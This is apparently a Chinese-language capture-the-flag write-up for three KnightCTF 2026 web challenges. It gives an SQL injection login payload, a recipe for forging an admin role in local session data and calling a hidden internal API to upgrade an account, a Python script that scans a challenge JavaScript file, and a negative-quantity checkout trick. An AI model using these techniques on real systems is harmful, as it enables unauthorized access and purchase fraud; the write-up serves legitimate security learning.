knight2026-web

knightctf2026-web

Admin Panel

username=\

password=union select *,2 from flag#

img

KnightCloud

伪造凭证 -> 欺骗后台接口 -> 修改数据库 -> 正常访问

本地存储有三个数据

session_data 改为 "role": "admin"。此时,虽然我们还是原来的用户,但我们拥有了欺骗服务器的“管理员权限”。

分析 JS 文件,有一个隐藏的内部接口 /api/internal/v1/migrate/user-tie

利用伪造的管理员身份,向这个接口发送 POST 请求,把参数 u(用户ID) 和 t(等级) 发过去。修改服务器数据库里的数据,把账号变成 Premium。

再用你原本合法的 Token 去访问 /api/premium/analytics即可。

将自己的账号成功提权之后 直接登录进去访问也可

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re

JS_URL = "http://23.239.26.112:8091/assets/index-DH6mLR_s.js"

print(f"[*] 正在下载 JS 文件: {JS_URL}")
res = requests.get(JS_URL)
content = res.text

# 搜索关键词:userTier (这是变量名)
search_term = "userTier"

# 找到所有匹配的位置
indices = [m.start() for m in re.finditer(search_term, content)]

print(f"\n[*] 找到 {len(indices)} 处引用。正在分析上下文...\n")

for i, index in enumerate(indices):
print(f"--- [引用第 {i + 1} 处] ---")

# 截取前后上下文
start = max(0, index - 100)
end = min(len(content), index + 300)
snippet = content[start:end]

# 高亮关键词 (方便你看)
highlighted = snippet.replace(search_term, f"【{search_term}】")
print(highlighted)

# 尝试提取这一段里的 JSON 键值对
# 寻找类似 {key:val} 的结构
possible_keys = re.findall(r'([a-zA-Z0-9_]+):', snippet)
if possible_keys:
print(f"\n [?] 附近出现的参数名: {possible_keys}")
print("\n")

print("=" * 50)
print("请寻找类似 JSON.stringify({ ... }) 或者 body: { ... } 的结构")

Knight Shop Again

业务逻辑漏洞

购买商品 抓包 改数量为负数 去购物车结账 购买成功就弹出flag了

img

img